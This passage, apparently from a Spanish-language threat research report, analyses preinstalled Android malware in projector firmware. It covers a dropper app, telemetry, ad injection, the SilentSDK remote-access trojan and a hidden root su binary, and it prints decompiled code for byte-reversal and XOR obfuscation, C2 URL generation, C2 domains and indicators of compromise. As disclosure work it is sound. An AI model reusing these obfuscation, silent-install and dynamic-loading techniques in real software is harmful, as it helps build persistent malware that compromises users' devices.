**Impacto:** Cualquier usuario con acceso físico o un atacante en la misma red (a través de ADB, puerto 5555 abierto, sin autenticación) obtiene acceso completo como root.

---

## 4. Respuesta del Servidor C2 — Evidencia Principal

### Solicitud HTTP Capturada```http
POST /sign/app/list HTTP/1.1
chanId: HY260Pro_SpectraOS_TPYB
timestamp: 1775904428922
sign: [REDACTED]
Content-Type: application/json;charset=UTF-8
Content-Length: 184
Host: store-api.aodintech.com
Connection: Keep-Alive
Accept-Encoding: gzip
User-Agent: okhttp/5.0.0-alpha.12

**Interpretación de los flags:**

- `isShow: false` — La aplicación no aparece en la interfaz de la tienda.
- `isForce: true` — Presumiblemente fuerza la acción (instalación o actualización).
- `isSilentUninstall: true` — Puede desinstalarse sin interacción del usuario.
- `launchType: 1` — Inicia automáticamente el servicio en segundo plano.
- `launchParam: MyService` — Referencia al servicio persistente.
- `zone: "Global"` — Apunta a todos los dispositivos a nivel mundial.
- `reverseLen` — Longitud en bytes necesaria para restaurar el `.apk` de SilentSDK.

### Ruta de Descarga Cifrada

El campo `path` está cifrado con AES-CBC:

- **Key/IV:** `[REDACTED]` (AES-CBC, Raw) -> El ChannelID del dispositivo.
- **Resultado descifrado:**```text
http://cdn-store.aodintech.com/com.hotack.silentsdk/package/091acbf1-68b1-40f1-b9b7-7d4d6ae86880.bpp

   + ExpandSDK (Ad-Injection)
     → pb-api.aodintech.com

---

## 6. StoreOS — Análisis del Dropper

StoreOS parece ser una tienda de aplicaciones que se instala automáticamente; sin embargo, cumple la función de un dropper.  
**Package:** `com.htc.storeos`  
**SHA-256:** `3476536a5c722b9e34c53abda766fb4869d5ebebfc9c8a8fd47fb7ecd5f025b9`  
**VirusTotal:** BitDefender: `Android.Riskware.TestKey.rB`

### Permisos

| Permiso | Impacto |
|:---|:---|
| `INSTALL_PACKAGES` | Instalación silenciosa sin diálogo de usuario |
| `CLEAR_APP_USER_DATA` | Eliminación de datos arbitrarios de la aplicación |
| `MASTER_CLEAR` | Activación de restablecimiento de fábrica |
| `WRITE_SECURE_SETTINGS` | Modificación de ajustes de seguridad |
| `DEVICE_POWER` | Gestión de energía del dispositivo |
| `MANAGE_EXTERNAL_STORAGE` | Acceso completo al almacenamiento externo |

### Cadena de Instalación (desde código descompilado)

1. **BootReceiver** inicia `CheckUpdateService`.
2. HTTP POST a `store-api.aodintech.com/sign/app/list`.
3. El servidor entrega `AppsData[]` que contiene los campos: `pkg`, `path`, `isForce`, `isShow`, `isSilentInstall`, `isSilentUninstall`, `launchType`, `launchParam`, `reverseLen`, `md5`.
4. `DownloadService` obtiene APKs como archivos `.bpp` desde la CDN.
5. **Protección de Inversión de Bytes:** Los primeros `reverseLen` bytes se invierten antes de escribir en el disco (Medida Anti-Análisis).
6. Verificación MD5 del archivo descargado.
7. Instalación mediante `Runtime.getRuntime().exec("pm install -r " + filePath)`.
8. `StartAppService` lanza la aplicación instalada según `launchParam`.

### Mecanismo de Inversión de Bytes — Prueba Técnica

**Clase:** `AbstractC2057b` — **Método:** `m4131f(String inputPath, int reverseLen, String outputPath)` -> JADX

Este método invierte los primeros `reverseLen` bytes de cada APK descargado. Como resultado, los archivos `.bpp` interceptados no pueden ser reconocidos ni extraídos como APKs válidos sin conocer el valor específico de `reverseLen`.```java
// Simplified representation of the byte-reversal algorithm
// Original code: AbstractC2057b.m4131f()
int offset = fileSize % reverseLen;
if (fileSize - offset < reverseLen) {
    reverseLen = fileSize;
    offset = 0;
}
// 1. Copy offset bytes unchanged
// 2. Read reverseLen bytes and reverse them:
for (int head = 0, tail = readCount - 1; head < tail; ) {
    byte tmp = buffer[head];
    buffer[head] = buffer[tail];
    buffer[tail] = tmp;
    head++; tail--;
}
// 3. Copy the remaining bytes unchanged

Al revertir este mecanismo, el APK de SilentSDK fue descifrado y analizado con éxito.

### Geosegmentación

StoreOS utiliza `api.ipdatacloud.com/v2/query` para geolocalización IP. La clase `SpecialApps` contiene campos para `continent` y `countryCode`, lo que permite la distribución de cargas útiles específicas por región.

---

## 7. EventUploadService — Telemetría

**Paquete:** `com.htc.eventuploadservice`  
**Destino:** `http://event-api.aodintech.com/report`  
**Intervalo:** Cada 5 minutos  

| Campo | Valor de ejemplo | Impacto en la privacidad |
|:---|:---|:---|
| `deviceId` | `[REDACTED]` | Dirección MAC (PII) |
| `deviceSn` | `[REDACTED]` | Número de serie (Único) |
| `channel` | `HY260Pro_hy_TPYB` | Canal de firmware |
| `version` | `Projector.20250422.152235` | Versión de firmware |
| `model` | `NT10` | Modelo de dispositivo |
| `language` | `en_US` | Configuración de idioma |

La transmisión ocurre sin cifrar a través de HTTP y sin consentimiento del usuario. La dirección MAC y el número de serie permiten la identificación y el seguimiento precisos de dispositivos individuales.

---

## 8. ExpandSDK — Inyección de anuncios

**Paquete:** `com.htc.expandsdk`  
**Servidores C2:** `pb-api.aodintech.com`, `euads-o.api.leiniao.com`

ExpandSDK utiliza el SDK TCL VastAd para anuncios de video VAST y es capaz de mostrar diálogos de superposición del sistema (`SYSTEM_ALERT_WINDOW`) en cualquier posición de la pantalla. La configuración incluye campos de posición (`AdDialogX`, `AdDialogY`, `Width`, `High`, `Gravity`) y el identificador de socio `htk` (Hotack).

ExpandSDK opera independientemente de SilentSDK como un canal de monetización separado.

---

## 9. SilentSDK — Análisis de RAT

**Paquete:** `com.hotack.silentsdk`  
**SHA-256 (descifrado):** `e5a193c31526a2194d04a2157321d490d68f9251fab1cbbd28c2580971396fb7`  
**MD5 (descifrado):** `5df097591d6942bae4eff33a37c4e28f`

### Análisis del manifiesto

| Propiedad | Valor | Significado |
| :--- | :--- | :--- |
| `sharedUserId` | `android.uid.system` | Privilegios del sistema (UID 1000) |
| `usesCleartextTraffic` | `true` | Tráfico HTTP permitido |
| Icono del lanzador | No visible para el usuario | Oculto de la interfaz de usuario |
| `BootReceiver` | Prioridad 999 | Se inicia antes que casi todas las demás aplicaciones |
| `MyService` | exportado, en primer plano | Servicio persistente en segundo plano |
| `BootStartActivity` | `com.htc.bootstart` | Disparador de arranque adicional |

### Empaquetado y descifrado DEX

El DEX original está empaquetado: El encabezado declara 2,318,316 bytes, pero el archivo comprimido solo contiene 65,536 bytes con una suma de verificación Adler32 inválida. Después de romper la protección de inversión de bytes de StoreOS, el DEX se vuelve completamente legible — el tamaño del archivo y el tamaño declarado coinciden, y se pueden extraer 16,241 cadenas.

### Ofuscación XOR — Prueba técnica

Todas las cadenas relevantes para la seguridad están ofuscadas mediante un cifrado XOR rotativo dentro del método `AbstractC0000a.m36g()`:```java
public static String m36g(byte[] data, byte[] key) {
    int i3 = 0, i4 = 0;
    while (i3 < data.length) {
        if (i4 >= key.length) i4 = 0;
        data[i3] = (byte) (data[i3] ^ key[i4]);
        i3++; i4++;
    }
    return new String(data);
}

Si ocurre un error SSL (`SSLException`), `f2664e` se establece en `false` y todas las solicitudes posteriores utilizan HTTP en lugar de HTTPS.




#### Fase 3: Adquisición del Payload
 
**`C0566k.java` — Respaldo sin conexión (Payload embebido)**
 
Antes de contactar con la red, esta clase verifica si ya hay un payload empaquetado dentro del APK en `assets/m17gawxG.java`. Si se encuentra, lee el archivo byte a byte y lo descifra usando una clave XOR hardcodeada (`m17gawxG`). El resultado se escribe como un archivo ejecutable `.temp`. Esto asegura que el RAT pueda activarse incluso en dispositivos aislados (air-gapped) o cuando el servidor C2 no esté disponible.
 
**`RunnableC0569n.java` — Descargador en vivo desde C2**
 
Si el respaldo sin conexión falla, esta clase ensambla un beacon JSON que contiene el Bot-ID, nombre del paquete y versión de Android, luego contacta al endpoint C2 `api.pixelpioneerss.com`:
 
**Paso 1 — Generación de URL con ruta aleatoria:**```java
// RunnableC0569n.m1760b()
String protocol = useHttps ? "https://" : "http://";
String domain = f2663d; // XOR-decrypted to "api.pixelpioneerss.com"
int length = random.nextInt(5) + 8; // 8-12 chars
char[] path = new char[length];
// At least one letter at a random position, rest: digits and letters
return protocol + domain + "/" + new String(path);
// e.g.: https://api.pixelpioneerss.com/aB3k9mP2s

**Paso 3 — Cifrado AES y Transmisión:**```java
// AbstractC0556a.m1728d() — AES-128-CBC Encryption
byte[] encrypted = AES_CBC_encrypt(json.getBytes());
// AbstractC0000a.m41j() — HTTP POST with Custom TrustManager
byte[] response = m41j(url, encrypted);
// Key and IV are appended in plaintext to the message

El descargador (`AbstractC0000a.m37h`) obtiene el payload y luego utiliza un shell root para otorgarle permisos completos de ejecución mediante `chmod 777`.
 
Todas las solicitudes C2 llevan el encabezado HTTP personalizado `a: 1003` — una firma a nivel de red de esta familia de malware.

#### Fase 4: Ejecución y Control
 
**`AbstractC0568m.java` — Área de Preparación**
 
Crea un directorio oculto llamado **`TMRXwWJu3G5`** en el sistema de archivos del dispositivo donde se preparan todos los payloads descargados. Esta clase también contiene métodos (`m1754e`) que interceptan eventos físicos de teclas (`KeyEvent`), impidiendo que el usuario presione el botón "Atrás" mientras una superposición maliciosa está activa.
 
**`C0561f.java` — El Orquestador**
 
Une toda la cadena. Llama al código fuertemente ofuscado en `C0566k.m1746b`, que utiliza reflexión para construir la cadena `"dalvik.system.DexClassLoader"` e inicializarla. Luego, se fuerza al ClassLoader a cargar y ejecutar la clase final del payload:```
com.me.cash5.OoO0OOo

Este es un **dominio C2 separado** del primario `api.pixelpioneerss.com`, utilizado exclusivamente para la exfiltración de telemetría.
 
**`AbstractC0572q.java` & `RunnableC0560e.java` — Heartbeat y Autocuración**
 
El mecanismo de persistencia. `AbstractC0572q` mantiene un temporizador en el hilo principal. Si alguna parte de la cadena de infección falla (por ejemplo, falta de internet durante la descarga), dispara `sendEmptyMessageDelayed(..., 60000L)`. Después de exactamente 60 segundos, `RunnableC0560e` (como trabajador en segundo plano) reinicia toda la maquinaria de infección desde el principio. Este bucle se repite indefinidamente hasta que la infección tiene éxito.
 
### Persistencia y Carga Dinámica — Resumen
 
El método `m1762a()` en `RunnableC0569n` implementa el ciclo completo de descarga del payload:
 
1. Descargar archivo DEX desde C2.
2. Verificar hash MD5.
3. Guardar número de versión en SharedPreferences.
4. Cargar y ejecutar DEX mediante `DexClassLoader` o `Runtime.exec()`.
5. Ante errores: Incrementar contador de reintentos en SharedPreferences, pausa después de 13 intentos fallidos — luego el heartbeat de 60 segundos reinicia el ciclo.


## 9.1. El Payload del Malware

Después de enviar esta solicitud al Servidor C2:```json
{
    "a":"1c1f2257b85a20a0eac07f992a283b3a", // Unique device fingerprint
    "b":"f101", //CampaignID injected in MyApplication.java
    "c":"com.hotack.silentsdk", //Package name
    "d":0, 
    "f":"c0:3a:4b:11:22:33", // Device MAC address
    "h":30, //Version
}

---
## 10. El Malware

Tras la recuperación exitosa y el análisis adicional del payload, determiné —después de sortear capas significativas de cifrado y ofuscación personalizados— que el malware utiliza una arquitectura altamente modular. Opera como un framework sofisticado capaz de descargar, actualizar, reiniciar y eliminar activamente plugins para destruir evidencia forense. Estos payloads se ejecutan con privilegios de root. Además, el código revela mecanismos diseñados para superponer WebViews completas en la pantalla, lo que indica fuertemente capacidades avanzadas de phishing. El malware también demuestra tácticas avanzadas de segmentación y evasión: implementa geofencing estricto para atacar regiones específicas, perfila la arquitectura de la CPU (distinguiendo entre `arm64`, `armeabi`, `x86` y `mips`), y elude activamente la validación de certificados SSL para asegurar sus comunicaciones C2. Por ahora, mantengo este resumen intencionalmente breve, ya que la fuerte ofuscación requiere un proceso de ingeniería inversa prolongado y en curso.

## 11. Backdoors del Sistema

### 11.1 Binario `su` Oculto: `/system/bin/qw`

Un binario `su` renombrado como `qw` (Koushikdutta Superuser, 388 KB, enlazado estáticamente, ARM 32 bits):```text
# /system/etc/init/qw.rc
service qw /system/bin/qw --daemon
    user root
    group root
    class core

### Firmas de Red```text
User-Agent: okhttp/5.0.0-alpha.12
HTTP-Header: a: 1003            # SilentSDK Signature
POST /sign/app/list             # StoreOS C2 Beacon
POST /report                    # EventUpload Telemetry

### Sistema de archivos```text
/system/bin/qw                                   # su Binary
/dev/com.koushikdutta.superuser.daemon/server    # su Socket
/oem/customer.prop                               # World-writable
/vendor/bin/dbgserver                             # HW-Debug
/dev/hidtvreg                                    # World-writable

---

## 16. Mapeo MITRE ATT&CK

| Técnica | ID | Evidencia |
|:---|:---|:---|
| Compromiso de la Cadena de Suministro | T1195.002 | Malware preinstalado de fábrica |
| Ejecución Automática al Inicio o Inicio de Sesión | T1547 | BootReceiver Prioridad 999 |
| Archivos o Información Ofuscados | T1027 | Cadenas XOR, Empaquetado DEX, activo cifrado con XOR incrustado |
| Protocolo de Capa de Aplicación | T1071 | C2 HTTP/HTTPS |
| Intercambio Dinámico de Datos / Inyección de Carga Útil | T1055 | DexClassLoader, chmod 777 |
| Descubrimiento de Información del Sistema | T1082 | Huella digital del dispositivo, generación de ID de Bot |
| Datos del Sistema Local | T1005 | MAC, Serial, IMEI, android_id |
| Exfiltración a través del Canal C2 | T1041 | Telemetría periódica a `bur.thedynamicleap.com` |
| Suplantación de Identidad | T1036 | Extensión de archivo .bpp, Suplantación ADT-3 |
| Rootkit | T1014 | Binario su oculto |
| Captura de Entrada | T1056 | Intercepción de KeyEvent para suprimir el botón Atrás |
| Eliminación de Indicadores / Autoborrado | T1070 | Capacidad `isSilentUninstall: true` |
| Carga de Código Reflejada | T1620 | Instanciación reflejada de DexClassLoader |
| Superposición de Ventanas del Sistema | T1624 | Manipulación de SoftInputMode para superposiciones invisibles |

---

## 17. Mitigaciones Inmediatas

### Para Usuarios Finales Afectados```bash
adb shell pm disable-user --user 0 com.hotack.silentsdk
adb shell pm disable-user --user 0 com.htc.storeos
adb shell pm disable-user --user 0 com.htc.eventuploadservice
adb shell pm disable-user --user 0 com.htc.expandsdk
adb shell pm disable-user --user 0 com.htc.htcotaupdate

---

## 18. Fuentes

1. Zane St. John: "Ingeniería inversa de malware Android preinstalado con Claude Code", enero de 2026. https://zanestjohn.com/blog/reing-with-claude-code
2. BSI: "BSI advierte sobre malware preinstalado en dispositivos IoT" (BADBOX), octubre de 2023.
3. Análisis de VirusTotal del APK StoreOS.

---

**Período de análisis:** 11–17 de abril de 2026

**Descargo de responsabilidad**
Solo para fines educativos y de investigación. Este informe se proporciona "tal cual" con fines informativos sobre amenazas de ciberseguridad. El análisis se basa en una instantánea del ecosistema actual de malware; dado que la ingeniería inversa es un proceso continuo, los hallazgos pueden estar sujetos a cambios a medida que se disponga de nuevos datos.

Este informe se ha recopilado de buena fe y según mi leal saber y entender, basándose en el análisis de datos binarios y código fuente descompilado. Debido al alto nivel de ofuscación y la naturaleza cambiante de la amenaza, estos hallazgos representan el estado actual de la investigación. Si bien la evidencia respalda firmemente las conclusiones, estas están sujetas a revisión a medida que se descubran nuevas pruebas técnicas.